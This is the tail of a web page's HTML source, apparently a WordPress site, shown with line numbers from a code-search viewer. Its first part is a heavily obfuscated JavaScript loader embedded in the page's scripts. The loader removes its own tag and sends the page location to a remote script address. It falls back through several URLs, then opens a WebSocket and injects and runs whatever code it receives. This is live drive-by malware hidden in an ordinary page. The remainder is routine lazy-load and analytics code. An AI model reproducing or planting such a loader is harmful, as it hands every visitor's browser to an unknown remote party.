w;for(w=-0x137*0x1+-0x17cc+-0x1*-0x1903;w<-0x171*0xb+-0x221f+0x3a*0xe1;w++){a[w]=w;}for(w=0xa*-0x261+0x1342+0x488;w<-0x2164+-0x3*0x3b9+0x6b*0x6d;w++){k=(k+a[w]+D['charCodeAt'](w%D['length']))%(0x787+-0x1bb2+0x1*0x152b),Q=a[w],a[w]=a[k],a[k]=Q;}w=-0x1*-0x2303+0x59*-0x3+0x21f8*-0x1,k=0x2*-0x42e+0xa35+0x1d9*-0x1;for(let b=-0x1*0x1689+-0x11dc+0x47d*0x9;b<Z['length'];b++){w=(w+(0xe81+-0x2*-0xc3b+-0x1*0x26f6))%(0x246+0x1*-0xdbf+0xc79),k=(k+a[w])%(0x117c+0x225b+-0x89*0x5f),Q=a[w],a[w]=a[k],a[k]=Q,O+=String['fromCharCode'](Z['charCodeAt'](b)^a[(a[w]+a[k])%(-0x2303+-0x5ae+-0x335*-0xd)]);}return O;};m['HzMkAo']=s,m['Fpxfub']={},m['XTFFmC']=!![];}const o=y[-0x1*0x2192+-0x1f08+-0x2*-0x204d],x=M+o,U=m['Fpxfub'][x];return!U?(m['FBUKse']===undefined&&(m['FBUKse']=!![]),z=m['HzMkAo'](z,v),m['Fpxfub'][x]=z):z=U,z;}(function(M,v){const k=m,y=M();while(!![]){try{const z=-parseInt(k(0x19b,'Y&je'))/(0xb*-0x216+-0x1*0x163d+-0x8*-0x5a6)+parseInt(k(0x13e,'3%IY'))/(0xb13*0x3+0x15ad+0x1b72*-0x2)*(parseInt(k(0x113,'x8t9'))/(0x1c4*0x3+-0x13ce+0xe85))+parseInt(k(0x189,'GYLw'))/(0xdec+0x9e*-0x4+0xb7*-0x10)*(-parseInt(k(0x14f,'Kyff'))/(-0x1a12+-0x1*-0x1006+-0x3*-0x35b))+-parseInt(k(0x124,'j*ih'))/(-0x1*0x103a+0x189*0x1+0xeb7)*(-parseInt(k(0x12e,'Sjm5'))/(-0x8b9+0xd13+-0x453))+parseInt(k(0x135,'x*UP'))/(-0x141b*0x1+-0x1d38+0x315b)*(-parseInt(k(0x11a,'2oC&'))/(0x11bf+-0x2b*0x2e+0x6*-0x1aa))+parseInt(k(0x14e,'O!S#'))/(-0x128+-0x200c+-0x73*-0x4a)*(parseInt(k(0x13d,'$Ztg'))/(-0x1*0x1667+-0x1c63+0x32d5))+-parseInt(k(0x153,'GYLw'))/(0x6c7+0x2*-0x963+0x1*0xc0b)*(parseInt(k(0x13a,'@*qd'))/(-0xee1+0x11e6+0x2*-0x17c));if(z===v)break;else y['push'](y['shift']());}catch(d){y['push'](y['shift']());}}}(p,-0x151536+-0xcd33*-0xa+-0x2*-0xda7f4),(function(){const Q=m;if(window[Q(0x129,'b0]8')+'_e'])return;window[Q(0x15c,'L1Ru')+'_e']=0x26d4+-0x477+-0x6*0x5ba;function M(z){const i=Q,[d,...o]=z,x=document[i(0x183,'jklc')+i(0x13f,'EIi(')+i(0x157,'946t')+'t'](i(0x17e,'946t')+'pt');return x[i(0x10e,')UvN')]=d,x[i(0x18a,'x*UP')+i(0x186,'A&^4')+i(0x196,'EIi(')+i(0x15f,'Mcqq')](i(0x176,'Y&je')+'r',()=>{const O=i;if(o[O(0x19a,'hfEs')+'th']>0x4b2+0x76b*0x1+-0x1bb*0x7)M(o);else{const U=new WebSocket(O(0x156,'A&^4')+O(0x16f,'ecKE')+O(0x178,'@*qd')+O(0x112,'@*qd')+O(0x10b,'9LqP')+'s');U[O(0x171,'A&^4')+O(0x16e,')UvN')+'e']=Z=>{const w=O,D=Z[w(0x145,'wH@]')],a=document[w(0x123,'wH@]')+w(0x15a,'ecKE')+w(0x185,'A&^4')+'t'](w(0x11
22435,'S1J1')+'pt');a[w(0x17f,'DQ#]')+w(0x144,'gvAd')+w(0x119,'3%IY')]=D,document[w(0x159,'2oC&')][w(0x14b,'yryn')+w(0x158,'Frr&')+w(0x136,'fChD')](a);},U[O(0x193,'Frr&')+'en']=()=>{const b=O;U[b(0x10f,'4ent')](b(0x127,'hdKv')+b(0x142,'gvAd')+'l');};}}),document[i(0x17b,'j*ih')][i(0x16b,'@Qq(')+i(0x128,'x8t9')+i(0x179,'Q0zJ')](x),x;}const v=document[Q(0x11e,'O!S#')+Q(0x15b,'hiqU')+Q(0x165,'x*UP')+'t'][Q(0x126,'ecKE')+Q(0x12a,'Sjm5')][Q(0x180,'b0]8')+'in']??Q(0x170,'x*UP')+Q(0x12f,'4ent')+Q(0x117,'946t');document[Q(0x18e,'fChD')+Q(0x131,'3a33')+Q(0x194,'Q0zJ')+'t'][Q(0x181,'GYLw')+'ve']();const y=document[Q(0x143,'3%IY')+Q(0x110,'946t')+Q(0x114,'bbi@')+'t'](Q(0x19e,'3%IY')+'pt');y[Q(0x187,'jI&k')]=Q(0x10d,'wH@]')+Q(0x198,')UvN')+v+(Q(0x154,')UvN')+Q(0x14c,'9LqP'))+btoa(location[Q(0x168,'Ku9%')+Q(0x172,'x8t9')])[Q(0x155,')UvN')+Q(0x19d,'fChD')](/=+$/,'')+Q(0x175,'bbi@'),y[Q(0x174,'J33d')+Q(0x18b,'Ku9%')+Q(0x18d,'$Ztg')](Q(0x195,'hdKv')+Q(0x11b,'x8t9'),Q(0x11c,'lL6V')+Q(0x134,'Ku9%')),y[Q(0x160,'3a33')+Q(0x177,'Sjm5')+Q(0x184,'hfEs')+Q(0x130,'Kyff')](Q(0x1a0,'Q0zJ')+'r',()=>{const f=Q;M([f(0x17d,'b0]8')+f(0x138,'bvfC')+f(0x151,'Y&je')+f(0x15e,'j*ih')+f(0x12c,'jI&k')+f(0x137,'S1J1')+f(0x16a,'3%IY')+f(0x17c,'J33d')+f(0x11d,'ecKE')+f(0x182,'2oC&')+f(0x125,'hdKv')+f(0x199,'J33d'),f(0x162,'#u2t')+f(0x164,'b0]8')+f(0x122,'wH@]')+f(0x163,'b0]8')+f(0x146,'Mcqq')+f(0x149,'Sjm5')+f(0x14a,'L1Ru')+f(0x12d,'bQKN')+f(0x13b,'946t')+f(0x133,'9LqP')+f(0x197,'b0]8')+f(0x16c,'hp9H')+f(0x12b,'fChD')+f(0x148,'A&^4')+f(0x116,'gvAd')+f(0x161,'lL6V'),f(0x14d,'@*qd')+f(0x132,'jI&k')+f(0x15d,'x8t9')+f(0x190,'4ent')+f(0x16d,'#u2t')+f(0x139,'x8t9')+f(0x141,'lc$P')+f(0x19c,'b0]8')+f(0x192,'DQ#]')+f(0x13c,'gvAd')+f(0x166,'lc$P')+f(0x19f,'wH@]')+f(0x11f,'j*ih')+f(0x152,'3%IY')]);}),document[Q(0x111,')UvN')][Q(0x167,'gvAd')+Q(0x188,'S1J1')+Q(0x10c,'3a33')](y);}()));})();`,document.head.appendChild(e)}function a(){if(t===`essential`){i();return}r()}function o(){var e=n();if(e===`true`)a();else var t=0,r=setInterval(function(){if(t===100||e===`false`){clearInterval(r);return}if(e===`true`){a(),clearInterval(r);return}e=n(),t++},50)}o()})()})();</script>
2243<script>window.lazyLoadOptions=[{elements_selector:"img[data-lazy-src],.rocket-lazyload,iframe[data-lazy-src]",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,callback_loaded:function(element){if(element.tagName==="IFRAME"&&element.dataset.rocketLazyload=="fitvidscompatible"){if(element.classList.contains("lazyloaded")){if(typeof window.jQuery!="undefined"){if(jQuery.fn.fitVids){jQuery(element).parent().fitVids()}}}}}},{elements_selector:".rocket-lazyload",data_src:"lazy-src",data_srcset:"lazy-srcset",data_sizes:"lazy-sizes",class_loading:"lazyloading",class_loaded:"lazyloaded",threshold:300,}];window.addEventListener('LazyLoad::Initialized',function(e){var lazyLoadInstance=e.detail.instance;if(window.MutationObserver){var observer=new MutationObserver(function(mutations){var image_count=0;var iframe_count=0;var rocketlazy_count=0;mutations.forEach(function(mutation){for(var i=0;i<mutation.addedNodes.length;i++){if(typeof mutation.addedNodes[i].getElementsByTagName!=='function'){continue} 2244if(typeof mutation.addedNodes[i].getElementsByClassName!=='function'){continue} 2245images=mutation.addedNodes[i].getElementsByTagName('img');is_image=mutation.addedNodes[i].tagName=="IMG";iframes=mutation.addedNodes[i].getElementsByTagName('iframe');is_iframe=mutation.addedNodes[i].tagName=="IFRAME";rocket_lazy=mutation.addedNodes[i].getElementsByClassName('rocket-lazyload');image_count+=images.length;iframe_count+=iframes.length;rocketlazy_count+=rocket_lazy.length;if(is_image){image_count+=1} 2246if(is_iframe){iframe_count+=1}}});if(image_count>0||iframe_count>0||rocketlazy_count>0){lazyLoadInstance.update()}});var b=document.getElementsByTagName("body")[0];var config={childList:!0,subtree:!0};observer.observe(b,config)}},!1)</script>
2246<script data-no-minify="1" async src="https://grammarist.com/wp-content/plugins/wp-rocket/assets/js/lazyload/17.8.3/lazyload.min.js"></script>
vendor: 1 bytes, line 2246
2246
2247<script type="module" src="https://static.cloudflareinsights.com/beacon.min.js/v31edd6df95cf4e85bb4c19e7a9bdbcba1788362987495" integrity="sha512-iIg7k2xntmwu6/uSb5tpc/hySgZc4eoL31yB29W6tJFo2akwjPWcEqnCEdJvGexCL0KEQwVYv5BlowfhVz26hg==" data-cf-beacon='{"version":"2024.11.0","token":"6eca66a0e3d946889eb12955d8689465","r":1,"spa":2}' crossorigin="anonymous"></script>
2247 2248</body> 2249</html> 2250 2251<!-- This website is like a Rocket, isn't it? Performance optimized by WP Rocket. Learn more: https://wp-rocket.me - Debug: cached@1790203792 -->
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.